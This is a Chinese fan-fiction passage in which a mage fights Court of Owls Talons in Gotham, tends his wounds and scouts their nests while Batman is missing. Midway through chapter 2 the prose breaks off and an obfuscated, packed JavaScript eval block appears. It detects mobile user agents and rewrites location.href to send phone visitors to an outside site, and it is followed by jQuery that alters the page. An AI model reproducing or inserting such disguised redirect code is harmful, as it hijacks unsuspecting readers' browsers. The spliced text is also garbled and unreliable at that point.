1
卡伦是在第三天夜里受伤的。
肋骨翻开、皮肉往外翻、血像溪流一样,缓慢地涌出。他靠在安全屋的沙发上,手按着伤口,银白色的光从指尖渗出来,勉强把血止住。
安全屋在东区一栋高层公寓的顶楼。他之前花了不少钱租下来的,为的就是这种时候。
两室一厅,有热水,有暖气,客厅铺着灰色的地毯,沙发很大,能躺能坐。墙角有一张桌子,上面摊着哥谭的地下管网图纸,画满了红圈和箭头。窗帘是定制的,三层遮光布,拉上之后白天也伸手不见五指。
他当时选这个地方的时候,中介问他租来干什么。他说写小说。中介看了一眼他的脸,没再问了。
现在该庆幸他有先见之明吗?
不,现在该幸灾乐祸,猫头鹰法庭即将迎来他第二个严厉的父亲。
卡伦现在坐在这张很贵的沙发上,浑身是血,一边缝针一边骂。骂猫头鹰法庭,骂林肯·马奇,骂那些半夜不睡觉跑来杀他的利爪。
也骂自己——怎么就没多准备几枚冰符石。
前因是两天前。
猫头鹰法庭不知道通过什么渠道察觉到了他的存在。
也许是利爪身上的符文被发现了,也许是他布阵的魔法残留被扫描到了,也许只是运气不好。
哥谭的运气从来不在好人这边。
凌晨三点,诊所的感应阵突然炸了。卡伦从沙发上弹起来,感知网里五个暗红色的光点正从不同方向朝诊所逼近。
他没有犹豫,从地下室抓了一把符石和一把短刀,从后门翻出去。脚刚落地,诊所前门的玻璃就碎了。
利爪从窗户翻进来。猫头鹰护目镜在月光底下反射着冷光。刀比他预想的快,刀刃擦过他的肩膀,割开了卫衣的袖子。
卡伦侧身躲开第二刀,同时右手从口袋里摸出一枚符石,按在利爪的小臂上。银白色的光炸开。
利爪的手臂僵住了,像被封印了一样——琥珀金怕低温,这是他前几天摸那些利爪时发现的。不是纯粹的魔法,是炼金术模拟的极低温,刚好能抑制琥珀金的自愈能力,能让利爪的身体短暂失灵。
不够久,但眼下也挑不了了。
又有一只利爪从后巷包抄,卡伦听见了它的脚步声。
他蹬了一脚墙壁,整个人弹起来,从第一只利爪的头顶翻过去。落地的同时左脚扫出去,踢在第二只利爪的膝盖上。骨头碎裂的声音闷得像掰断一根湿木柴。
卡伦的上肢力量不算出色,至少没有达到怪力罗宾的程度,所以他一般在战斗中会更加依靠下肢,豹子一样的爆发力是支撑起他无数次的突进攻击。
利爪的身体歪了一下,但没有倒。它不怕疼,膝盖以一个不可能的角度弯着。
谢特,他的腿都成弯豆角了,就这还在艰难移动。
卡伦有点掉san了。
这简直是一台被上了发条的机器,让人疯狂地犯恐怖谷效应。
这该死的类人生物,离鬼或许很近,离人绝对很远。
第三只,第四只利爪从诊所正门冲出来,从后方冲向他站的地方,刀横着扫向他的脖子。
卡伦千钧一发地蹲下去,刀从他头顶掠过,削掉了几根头发。他没有起身,直接在地上转了一圈,扫堂腿踢中利爪的脚踝。它摔倒了。
然后他猛得挺身,靠腰腹发力,又是一拳砸在另一个利爪的脸上,顺带往他的嘴里送了一枚冰符石。
卡伦翻身骑上之前那个摔倒利爪的后背,右手按着它的后颈,银白色的光灌进去。它的身体抽搐了一下,然后不动了。
另外两只还在动,一只在诊所里面,一只在屋顶上。
卡伦没有和他们继续纠缠,他翻过诊所后巷的围墙,往东区深处跑。
利爪跟在后面,很难想象它们受了那么重的伤。
Okok,就当利爪不需要喘气吧,反正他是人,他需要。
他跑过三条街,翻过两道铁栅栏,钻进一栋废弃公寓的地下室。
利爪跟下来了。
地下室的空气很潮,混着霉味和尿骚味。卡伦蹲在角落里,听着脚步声越来越近。手指间夹着两枚符石,一枚冰,一枚爆。冰的先按,爆的塞进护目镜里,炸开。碎片会扎进大脑。
琥珀金能愈合刀伤、枪伤、坠落伤,但大脑的再生速度比身体慢。
第一只利爪转过拐角。卡伦从暗处切出去,左手按冰,右手塞爆。冰在它的胸口炸开,银白色的霜爬满了战斗服。它低头看了一眼,还没来得及反应,爆符石已经在护目镜里炸了。头往后仰了一下,然后倒下,直挺挺地像一棵被砍断的树。
一切发生在电光火石间,卡伦抬头和站在楼梯上的利爪对视上,飞快地转身,从地下室的另一个出口跑了。
左肩在流血,后腰也有一道口子。跑的时候能感觉到风灌进去,凉飕飕的。希望他不要再给这具身体来个大改造,这好歹也算是半个原装的。
他跑了六条街,确认没有继续跟上来之后,靠在墙上喘了很久。然后他一瘸一拐地走到了安全屋。
安全屋的门是密码锁加炼金术加固的。
关上门的瞬间,卡伦靠着门板滑坐在地上。喘了好一会儿。然后他爬起来,几乎是半爬伴走地进了浴室,打开灯。
镜子里的自己——左肩一道口子,后腰一道口子,肋骨侧面还有一道,不知道什么时候划的。血把整个左侧身体染成了暗红色,卫衣脱下来的时候粘在伤口上,撕开的时候疼得他骂了一声。
他洗了手,翻出急救箱,坐在沙发上开始缝针。
缝到第三针的时候,他喘着粗气,嘶哈的停下来,看了一眼窗外。
哥谭的夜空灰蒙蒙的,看不见星星。他猛然想起自己这副身体才十九岁,伤口的愈合速度比他在叠羽大陆的时候慢得多。
那时候他的身体被炼金术反复锻打过,皮肤硬得像皮革,伤口三天就能长好。现在这副身体是“原装的”——从魔法世界回来之后,他的灵魂装回了十六岁的身体里,然后这具身体又长了三年。
尽管有些炼金改造跟着他的灵魂又装进了这副身体,但很多只局限在躯壳的改造确实是随着他上一具身体的消亡消失了。
所以受伤了会疼,疼了会冒火,冒火了会做蠢事。
他现在就很冒火。
他明明安安稳稳地开诊所、喝茶、给老太太量血压、偶尔跟杰森拌两句嘴——他的生活过得还不算平淡吗?到底是碍了谁的眼,偏偏要来给他找事。
猫头鹰法庭:这只是你自己觉得平淡而已!到底是谁都要把我们的老巢翻出来了!!
半夜被从沙发上炸起来,被不会疼的死人追着跑过半个东区,身上多了三道口子,缝了十一针,坐在安全屋的沙发上,手上全是血,伤口还在往外渗,疼得要死,茶几上只有不知道剩了多少天的咖啡,连口热水都喝不上。
他连烧水的工夫都没有!
卡伦把针线放下,盯着茶几上那杯凉透了的咖啡。
简直是被气笑了。
他把卫衣扔进垃圾桶,从衣柜里翻出一件干净的黑色高领内搭穿上。然后拿出手机,给杰森发了一条消息。
“我没事。这几天不在诊所。别担心。”
发完他看了一眼屏幕,没有等回复,把手机塞进口袋,背上包,推门出去了。
外面天还没亮。哥谭的夜风很冷,吹在刚缝好的伤口上,刺刺地疼。
他把兜帽拉起来,走进了夜色里。
他要把那些躲在暗处、操控一切、派利爪来杀他的老东西一个一个揪出来,余生带着永久的悔恨。
后悔来扰他清梦。
———
2
接下来的两天,卡伦几乎没合过眼。
白天窝在安全屋里画地图。把追踪到的利爪坐标、韦恩大厦附近的阵法残留、从那些被摸过的利爪身上回收的符文数据,全部摊在客厅的地毯上,拼成一张巨大的哥谭地下网络图。茶几上堆着能量棒包装纸和咖啡罐。
他一边嚼能量棒一边往图上标位置,用红笔在几个重点区域画了圈。
晚上出去跑。从东区到南区,从南区到北区,从北区到市中心。穿着黑色高领内搭和工装裤,兜帽拉得低低的,走路没有声音。
他找到了两个利爪巢穴。
第一个在哥谭综合医院的地下二层,太平间隔壁。琥珀金浇铸的棺材一排排码在墙上,像图书馆的书架。棺材里躺着人。
不是死人,是还没被唤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444130|201073||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
醒的利爪。他们的脸是灰白色的,嘴唇没有颜色,指甲很长。卡伦蹲在棺材前面,把手按在玻璃上,感知了一下。琥珀金在棺材里缓慢地流动,像血液,像某种还活着的、还在等待的东西。
他没有动他们,省得打草惊蛇。
第二个在韦恩大厦的地下停车场下面。入口藏在一面假墙后面,墙上的砖是画上去的,手摸上去能感觉到颜料的粗糙。卡伦用了三秒钟破解了门锁,走进去。走廊很长,灯光是暗红色的,墙壁上刻着猫头鹰的浮雕。
走廊尽头是一扇铁门,锁着。卡伦没有开门,只把一枚符石塞进门缝里,记下了门后面的空间大小和利爪数量。然后退出来,把假墙恢复了原样。
第三天上午,他坐在安全屋的沙发上,把找到的线索整理成一份新的文件。利爪巢穴的位置、琥珀金的流动规律、法庭可能的总部所在地。他在哥谭市政厅的地下管网图纸上画了三个红圈:东区,韦恩大厦,哥谭公墓。
做完这些,他翻出手机。
屏幕上有一条未读消息,是杰森三个小时前发的。
“老头子失踪两天了。”
卡伦手指顿了一下。
?谁失踪了?蝙蝠侠失踪了?时间已经快进到这个地步了吗?难道他突然时间穿越了?
往上翻,看见自己两天前发的那条“我没事。这几天不在诊所。别担心。”杰森没回那条。隔了整整一天,他就给自己暴了这个大雷。
该死,这两天太忙,没什么空关注蝙蝠侠。伤口疼得要死,他火气一上头就忘了这回事了。
可恶,到底是身体影响了脑子吗?
卡伦把手机放下,闭了一会儿眼。眼皮很重,重得像挂了铅块。
伤口还在疼,后腰那道口子缝了七针,每次弯腰的时候都会扯着。他坐在沙发上,靠着靠垫,脑子里在转。蝙蝠侠失踪两天了。
如果和被他观测的世界一样,蝙蝠侠大概会被困在迷宫里八天。他不知道迷宫在哪里。但他知道猫头鹰法庭的巢穴分布——东区,韦恩大厦,哥谭公墓。
如果他是法庭,他会把迷宫建在地下。哥谭的地下。那些一百年前就被挖好的、被遗忘的、不在任何一张官方地图上的地下空间。
或许艾伦·韦恩当年建造的那些“不存在的13楼”,就是入口。
蝙蝠侠应该也想到了这一点。
呃啊,明明是家人众多但有点令人羡慕嫉妒恨的人,非要work alone吗?出门前都给我报备啊!
卡伦睁开眼,拿起手机,给杰森打了过去。
“你在哪?”杰森的声音有点哑。
虽然卡伦现在自己又疼又累,但他绝望地发现,自己听见杰森声音的这一刻竟然不可抑制地在心疼他。
他真是没救了。
“安全屋,东区。”卡伦说。“我找到了几个法庭的巢穴,蝙蝠侠可能在其中一个里面。”
对面沉默了两秒。
“几个?”
“三个。东区,韦恩大厦,哥谭公墓。”
“你怎么找到的?”
“跑了两个晚上。”
对面又沉默了两秒。“你受伤了?”
卡伦低头看了一眼自己的腰。绷带下面还在渗血,颜色淡了一点,但没干。“皮外伤。”
杰森没追问。“我和迪克去韦恩大厦。公墓归你,东区让提姆和芭芭拉查。”
“行。”
“你什么时候出发?”
“现在。”
卡伦挂了电话。把U盘抽出来,塞进外套内侧的口袋里。背包清空,只装了符石、短刀、一卷绷带、一瓶水。
站起来,活动了一下肩膀。左肩那道口子扯了一下,疼得他龇了龇牙。深吸一口气,把兜帽拉起来,推门出去了。
哥谭的傍晚灰蒙蒙的。路灯还没亮,天边最后一抹橘红色正在被黑暗吞掉。卡伦走在去哥谭公墓的路上,影子被拉得很长,投在湿漉漉的人行道上。
哥谭公墓在东区最南边,靠近港口。
卡伦站在公墓的铁门前,看着里面那些歪歪扭扭的墓碑。有的倒了,有的裂了,有的被涂鸦盖住了名字。风吹过来,带着海水的腥味和枯叶的腐烂味。
他把铁门推开,走了进去。